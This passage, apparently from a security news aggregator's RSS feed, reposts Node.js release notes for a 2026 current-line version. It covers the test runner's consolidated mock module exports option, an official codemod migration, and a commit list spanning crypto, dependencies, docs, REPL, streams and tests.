consolidated into a single option MockModuleOptions.exports to align with user
expectations and other test runners.
A default property on MockModuleOptions.exports ...]]></description>
<link>https://tsecurity.de/de/3487687/downloads/2026-04-01-version-2590-current-aduh95/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3487687/downloads/2026-04-01-version-2590-current-aduh95/</guid>
<pubDate>Tue, 05 May 2026 02:02:38 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Notable Changes</h3>
<h4>Test runner module mocking improvements</h4>
<p><code>MockModuleOptions.defaultExport</code> and <code>MockModuleOptions.namedExports</code> have been<br>
consolidated into a single option <code>MockModuleOptions.exports</code> to align with user<br>
expectations and other test runners.</p>
<p>A <code>default</code> property on <code>MockModuleOptions.exports</code>  represents the default<br>
export, and own enumerable properties are treated as named exports.</p>
<p>An automated migration is available to update user code:<br>
<a href="https://github.com/nodejs/userland-migrations/tree/main/recipes/mock-module-exports">https://github.com/nodejs/userland-migrations/tree/main/recipes/mock-module-exports</a></p>
<div class="highlight highlight-source-shell notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="npx codemod @nodejs/mock-module-exports"><pre>npx codemod @nodejs/mock-module-exports</pre></div>
<p>Contributed by sangwook in <a href="https://github.com/nodejs/node/pull/61727" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61727/hovercard">#61727</a>.</p>
<h4>Other notable changes</h4>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/312476cb84"><code>312476cb84</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>async_hooks</strong>: add using scopes to <code>AsyncLocalStorage</code> (Stephen Belanger) <a href="https://github.com/nodejs/node/pull/61674" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61674/hovercard">#61674</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/62d2cd473b"><code>62d2cd473b</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>cli</strong>: add <code>--max-heap-size</code> option (tannal) <a href="https://github.com/nodejs/node/pull/58708" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58708/hovercard">#58708</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d0ebf0e44b"><code>d0ebf0e44b</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>crypto</strong>: add <code>TurboSHAKE</code> and <code>KangarooTwelve</code> Web Cryptography algorithms (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62183" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62183/hovercard">#62183</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f85b9d9fa8"><code>f85b9d9fa8</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>repl</strong>: add customizable error handling (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/62188" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62188/hovercard">#62188</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/67b854d407"><code>67b854d407</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>repl</strong>: remove dependency on <code>node:domain</code> (Matteo Collina) <a href="https://github.com/nodejs/node/pull/61227" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61227/hovercard">#61227</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/966b700623"><code>966b700623</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>sea</strong>: support code cache for ESM entrypoint in SEA (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/62158" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62158/hovercard">#62158</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e1f0d2a014"><code>e1f0d2a014</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>stream</strong>: add stream/iter Implementation (James M Snell) <a href="https://github.com/nodejs/node/pull/62066" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62066/hovercard">#62066</a></li>
</ul>
<h3>Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/312476cb84"><code>312476cb84</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>async_hooks</strong>: add using scopes to AsyncLocalStorage (Stephen Belanger) <a href="https://github.com/nodejs/node/pull/61674" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61674/hovercard">#61674</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bfff8cb2ab"><code>bfff8cb2ab</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>benchmark</strong>: add benchmarks for experimental stream/iter (James M Snell) <a href="https://github.com/nodejs/node/pull/62066" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62066/hovercard">#62066</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c721d68502"><code>c721d68502</code></a>] - <strong>benchmark</strong>: fix destructuring in dgram/single-buffer (Ali Hassan) <a href="https://github.com/nodejs/node/pull/62084" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62084/hovercard">#62084</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e2f03c8e92"><code>e2f03c8e92</code></a>] - <strong>buffer</strong>: improve performance of multiple Buffer operations (Ali Hassan) <a href="https://github.com/nodejs/node/pull/61871" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61871/hovercard">#61871</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2fcd07f1ba"><code>2fcd07f1ba</code></a>] - <strong>build</strong>: support empty libname flags in <code>configure.py</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62477" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62477/hovercard">#62477</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b800c57fce"><code>b800c57fce</code></a>] - <strong>build</strong>: fix timezone-update path references (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/62280" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62280/hovercard">#62280</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7dc5a1e9b4"><code>7dc5a1e9b4</code></a>] - <strong>build</strong>: skip dockit on IBMi (SRAVANI GUNDEPALLI) <a href="https://github.com/nodejs/node/pull/62189" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62189/hovercard">#62189</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f0eea0f905"><code>f0eea0f905</code></a>] - <strong>build</strong>: fix --node-builtin-modules-path (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62115" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62115/hovercard">#62115</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/62d2cd473b"><code>62d2cd473b</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>cli</strong>: add --max-heap-size option (tannal) <a href="https://github.com/nodejs/node/pull/58708" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58708/hovercard">#58708</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ac4b485698"><code>ac4b485698</code></a>] - <strong>crypto</strong>: update root certificates to NSS 3.121 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62485" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62485/hovercard">#62485</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d0ebf0e44b"><code>d0ebf0e44b</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>crypto</strong>: add TurboSHAKE and KangarooTwelve Web Cryptography algorithms (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62183" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62183/hovercard">#62183</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3009980d9d"><code>3009980d9d</code></a>] - <strong>crypto</strong>: add crypto::GetSSLCtx API for addon access to OpenSSL contexts (Tim Perry) <a href="https://github.com/nodejs/node/pull/62254" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62254/hovercard">#62254</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f5725ca81d"><code>f5725ca81d</code></a>] - <strong>crypto</strong>: reject ML-KEM/ML-DSA PKCS#8 import without seed in SubtleCrypto (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62218" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62218/hovercard">#62218</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f69ed4bc3f"><code>f69ed4bc3f</code></a>] - <strong>crypto</strong>: rename CShakeParams and KmacParams length to outputLength (Filip Skokan) <a href="https://github.com/nodejs/node/pull/61875" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61875/hovercard">#61875</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4d96e53570"><code>4d96e53570</code></a>] - <strong>crypto</strong>: refactor WebCrypto AEAD algorithms auth tag handling (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62169" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62169/hovercard">#62169</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/93d77719e8"><code>93d77719e8</code></a>] - <strong>crypto</strong>: read algorithm name property only once in normalizeAlgorithm (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62170" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62170/hovercard">#62170</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3d2e23a981"><code>3d2e23a981</code></a>] - <strong>deps</strong>: update ada to 3.4.4 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62414" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62414/hovercard">#62414</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/176d6d2205"><code>176d6d2205</code></a>] - <strong>deps</strong>: update timezone to 2026a (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62164" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62164/hovercard">#62164</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/95c7fc67ba"><code>95c7fc67ba</code></a>] - <strong>deps</strong>: update googletest to 2461743991f9aa53e9a3625eafcbacd81a3c74cd (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62484" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62484/hovercard">#62484</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e5e9f2044a"><code>e5e9f2044a</code></a>] - <strong>deps</strong>: update simdjson to 4.5.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62382" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62382/hovercard">#62382</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/905b94266a"><code>905b94266a</code></a>] - <strong>deps</strong>: update ngtcp2 to 1.21.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62051" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62051/hovercard">#62051</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/180c150122"><code>180c150122</code></a>] - <strong>deps</strong>: V8: cherry-pick cf1bce40a5ef (Richard Lau) <a href="https://github.com/nodejs/node/pull/62449" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62449/hovercard">#62449</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bc265aa003"><code>bc265aa003</code></a>] - <strong>deps</strong>: upgrade npm to 11.12.1 (npm team) <a href="https://github.com/nodejs/node/pull/62448" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62448/hovercard">#62448</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f1b28612c4"><code>f1b28612c4</code></a>] - <strong>deps</strong>: V8: cherry-pick b25cd62c7ba2 (Yagiz Nizipli) <a href="https://github.com/nodejs/node/pull/62354" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62354/hovercard">#62354</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/757719d2af"><code>757719d2af</code></a>] - <strong>deps</strong>: disable rust icu compiled_data features (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/62284" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62284/hovercard">#62284</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3bdc955b63"><code>3bdc955b63</code></a>] - <strong>deps</strong>: update sqlite to 3.51.3 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62256" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62256/hovercard">#62256</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a9703d194a"><code>a9703d194a</code></a>] - <strong>deps</strong>: update googletest to 73a63ea05dc8ca29ec1d2c1d66481dd0de1950f1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61927" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61927/hovercard">#61927</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/85138935cb"><code>85138935cb</code></a>] - <strong>deps</strong>: update merve to 1.2.2 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62213" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62213/hovercard">#62213</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/231521e75e"><code>231521e75e</code></a>] - <strong>diagnostics_channel</strong>: add diagnostics channels for web locks (Ilyas Shabi) <a href="https://github.com/nodejs/node/pull/62123" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62123/hovercard">#62123</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0093863664"><code>0093863664</code></a>] - <strong>doc</strong>: deprecate <code>module.register()</code> (DEP0205) (Geoffrey Booth) <a href="https://github.com/nodejs/node/pull/62395" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62395/hovercard">#62395</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0b96ece6be"><code>0b96ece6be</code></a>] - <strong>doc</strong>: clarify that features cannot be both experimental and deprecated (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62456" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62456/hovercard">#62456</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8d3ea975f5"><code>8d3ea975f5</code></a>] - <strong>doc</strong>: fix 'transfered' typo in quic.md (lilianakatrina684-a11y) <a href="https://github.com/nodejs/node/pull/62492" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62492/hovercard">#62492</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/08ff16e0ba"><code>08ff16e0ba</code></a>] - <strong>doc</strong>: move sqlite type conversion section to correct level (René) <a href="https://github.com/nodejs/node/pull/62482" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62482/hovercard">#62482</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/61cc747dd8"><code>61cc747dd8</code></a>] - <strong>doc</strong>: add Rafael to last security release steward (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/62423" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62423/hovercard">#62423</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/64cfa5a6fa"><code>64cfa5a6fa</code></a>] - <strong>doc</strong>: use npm-published version of doc-kit (Aviv Keller) <a href="https://github.com/nodejs/node/pull/62139" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62139/hovercard">#62139</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1020321fb0"><code>1020321fb0</code></a>] - <strong>doc</strong>: fix overstated Date header requirement in response.sendDate (Kit Dallege) <a href="https://github.com/nodejs/node/pull/62206" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62206/hovercard">#62206</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9caa7855b2"><code>9caa7855b2</code></a>] - <strong>doc</strong>: fix guaranteed typo (lilianakatrina684-a11y) <a href="https://github.com/nodejs/node/pull/62374" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62374/hovercard">#62374</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e254f65306"><code>e254f65306</code></a>] - <strong>doc</strong>: enhance clarification about the main field (Mowafak Almahaini) <a href="https://github.com/nodejs/node/pull/62302" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62302/hovercard">#62302</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9e724b53f8"><code>9e724b53f8</code></a>] - <strong>doc</strong>: remove spawn with shell example from bat/cmd section (Kit Dallege) <a href="https://github.com/nodejs/node/pull/62243" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62243/hovercard">#62243</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7f37c17516"><code>7f37c17516</code></a>] - <strong>doc</strong>: minor typo fix (Jeff Matson) <a href="https://github.com/nodejs/node/pull/62358" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62358/hovercard">#62358</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/eb0ca98f01"><code>eb0ca98f01</code></a>] - <strong>doc</strong>: add path to vulnerabilities.json mention (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/62355" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62355/hovercard">#62355</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/198b6e0932"><code>198b6e0932</code></a>] - <strong>doc</strong>: deprecate CryptoKey use in node:crypto (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62321" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62321/hovercard">#62321</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/17e5aee6c5"><code>17e5aee6c5</code></a>] - <strong>doc</strong>: fix small environment_variables typo (chris) <a href="https://github.com/nodejs/node/pull/62279" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62279/hovercard">#62279</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/193d629895"><code>193d629895</code></a>] - <strong>doc</strong>: test and test-only targets do not run linter (Xavier Stouder) <a href="https://github.com/nodejs/node/pull/62120" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62120/hovercard">#62120</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4a1f20ec4a"><code>4a1f20ec4a</code></a>] - <strong>doc</strong>: clarify fs.ReadStream and fs.WriteStream are not constructable (Kit Dallege) <a href="https://github.com/nodejs/node/pull/62208" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62208/hovercard">#62208</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f976c9214d"><code>f976c9214d</code></a>] - <strong>doc</strong>: clarify that any truthy value of <code>shell</code> is part of DEP0190 (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62249" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62249/hovercard">#62249</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4d83972681"><code>4d83972681</code></a>] - <strong>doc</strong>: remove outdated Chrome 66 and ndb references from debugger (Kit Dallege) <a href="https://github.com/nodejs/node/pull/62202" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62202/hovercard">#62202</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/71f2eada5b"><code>71f2eada5b</code></a>] - <strong>doc</strong>: add throwIfNoEntry version history to fs.stat (kovan) <a href="https://github.com/nodejs/node/pull/62204" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62204/hovercard">#62204</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/670c80893b"><code>670c80893b</code></a>] - <strong>doc</strong>: add note (and caveat) for <code>mock.module</code> about customization hooks (Jacob Smith) <a href="https://github.com/nodejs/node/pull/62075" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62075/hovercard">#62075</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2ff5cb13f5"><code>2ff5cb13f5</code></a>] - <strong>doc,test</strong>: clarify --eval syntax for leading '-' scripts (kovan) <a href="https://github.com/nodejs/node/pull/62244" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62244/hovercard">#62244</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6c6c9004c4"><code>6c6c9004c4</code></a>] - <strong>esm</strong>: fix typo in worker loader hook comment (jakecastelli) <a href="https://github.com/nodejs/node/pull/62475" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62475/hovercard">#62475</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1cdd23c9f3"><code>1cdd23c9f3</code></a>] - <strong>esm</strong>: fix source phase identity bug in loadCache eviction (Guy Bedford) <a href="https://github.com/nodejs/node/pull/62415" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62415/hovercard">#62415</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4f4ff15794"><code>4f4ff15794</code></a>] - <strong>esm</strong>: fix path normalization in <code>finalizeResolution</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62080" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62080/hovercard">#62080</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/088167d102"><code>088167d102</code></a>] - <strong>events</strong>: avoid cloning listeners array on every emit (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/62261" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62261/hovercard">#62261</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0250b436ee"><code>0250b436ee</code></a>] - <strong>fs</strong>: fix cpSync to handle non-ASCII characters (Stefan Stojanovic) <a href="https://github.com/nodejs/node/pull/61950" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61950/hovercard">#61950</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b67a8fb171"><code>b67a8fb171</code></a>] - <strong>inspector</strong>: add Target.getTargets and extract TargetManager (Kohei) <a href="https://github.com/nodejs/node/pull/62487" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62487/hovercard">#62487</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ffcc5a5722"><code>ffcc5a5722</code></a>] - <strong>lib</strong>: make SubtleCrypto.supports enumerable (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62307" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62307/hovercard">#62307</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/92ef2ad8fa"><code>92ef2ad8fa</code></a>] - <strong>lib</strong>: prefer primordials in SubtleCrypto (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62226" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62226/hovercard">#62226</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/40a43ac4d0"><code>40a43ac4d0</code></a>] - <strong>module</strong>: fix coverage of mocked CJS modules imported from ESM (Marco) <a href="https://github.com/nodejs/node/pull/62133" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62133/hovercard">#62133</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3ef0a5b90e"><code>3ef0a5b90e</code></a>] - <strong>quic</strong>: remove CryptoKey support from session keys option (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62335" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62335/hovercard">#62335</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3c8dd8eb8e"><code>3c8dd8eb8e</code></a>] - <strong>repl</strong>: use vm DONT_CONTEXTIFY context (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/62371" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62371/hovercard">#62371</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f85b9d9fa8"><code>f85b9d9fa8</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>repl</strong>: add customizable error handling (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/62188" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62188/hovercard">#62188</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e4c164e045"><code>e4c164e045</code></a>] - <strong>repl</strong>: handle exceptions from async context after close (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/62165" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62165/hovercard">#62165</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/67b854d407"><code>67b854d407</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>repl</strong>: remove dependency on domain module (Matteo Collina) <a href="https://github.com/nodejs/node/pull/61227" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61227/hovercard">#61227</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/966b700623"><code>966b700623</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>sea</strong>: support code cache for ESM entrypoint in SEA (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/62158" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62158/hovercard">#62158</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fe82baf970"><code>fe82baf970</code></a>] - <strong>src</strong>: improve EC JWK import performance (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62396" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62396/hovercard">#62396</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d490b171e0"><code>d490b171e0</code></a>] - <strong>src</strong>: handle null backing store in ArrayBufferViewContents::Read (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/62343" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62343/hovercard">#62343</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0e4af848bc"><code>0e4af848bc</code></a>] - <strong>src</strong>: convert context_frame field in AsyncWrap to internal field (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/62103" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62103/hovercard">#62103</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/02980b8c8f"><code>02980b8c8f</code></a>] - <strong>src</strong>: enable compilation/linking with OpenSSL 4.0 (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62410" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62410/hovercard">#62410</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/064f7c2fa6"><code>064f7c2fa6</code></a>] - <strong>src</strong>: use stack allocation in indexOf latin1 path (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/62268" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62268/hovercard">#62268</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ede52bc2dc"><code>ede52bc2dc</code></a>] - <strong>src,sqlite</strong>: fix filterFunc dangling reference (Edy Silva) <a href="https://github.com/nodejs/node/pull/62281" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62281/hovercard">#62281</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e1f0d2a014"><code>e1f0d2a014</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>stream</strong>: add stream/iter Implementation (James M Snell) <a href="https://github.com/nodejs/node/pull/62066" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62066/hovercard">#62066</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/03839fb087"><code>03839fb087</code></a>] - <strong>stream</strong>: preserve error over AbortError in pipeline (Marco) <a href="https://github.com/nodejs/node/pull/62113" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62113/hovercard">#62113</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0000d2f011"><code>0000d2f011</code></a>] - <strong>stream</strong>: replace bind with arrow function for onwrite callback (Ali Hassan) <a href="https://github.com/nodejs/node/pull/62087" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62087/hovercard">#62087</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3796a73719"><code>3796a73719</code></a>] - <strong>test</strong>: update WPT for WebCryptoAPI to 2cb332d710 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62483" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62483/hovercard">#62483</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ad8309415b"><code>ad8309415b</code></a>] - <strong>test</strong>: update WPT for url to fc3e651593 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62379" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62379/hovercard">#62379</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bed89b037e"><code>bed89b037e</code></a>] - <strong>test</strong>: wait for reattach before initial break on restart (Yuya Inoue) <a href="https://github.com/nodejs/node/pull/62471" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62471/hovercard">#62471</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c9ffffcc55"><code>c9ffffcc55</code></a>] - <strong>test</strong>: disable flaky WPT Blob test on AIX (James M Snell) <a href="https://github.com/nodejs/node/pull/62470" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62470/hovercard">#62470</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fd41ef31f6"><code>fd41ef31f6</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test</strong>: add tests for experimental stream/iter implementation (James M Snell) <a href="https://github.com/nodejs/node/pull/62066" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62066/hovercard">#62066</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1b9d8d3eec"><code>1b9d8d3eec</code></a>] - <strong>test</strong>: avoid flaky run wait in debugger restart test (Yuya Inoue) <a href="https://github.com/nodejs/node/pull/62112" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62112/hovercard">#62112</a></li>
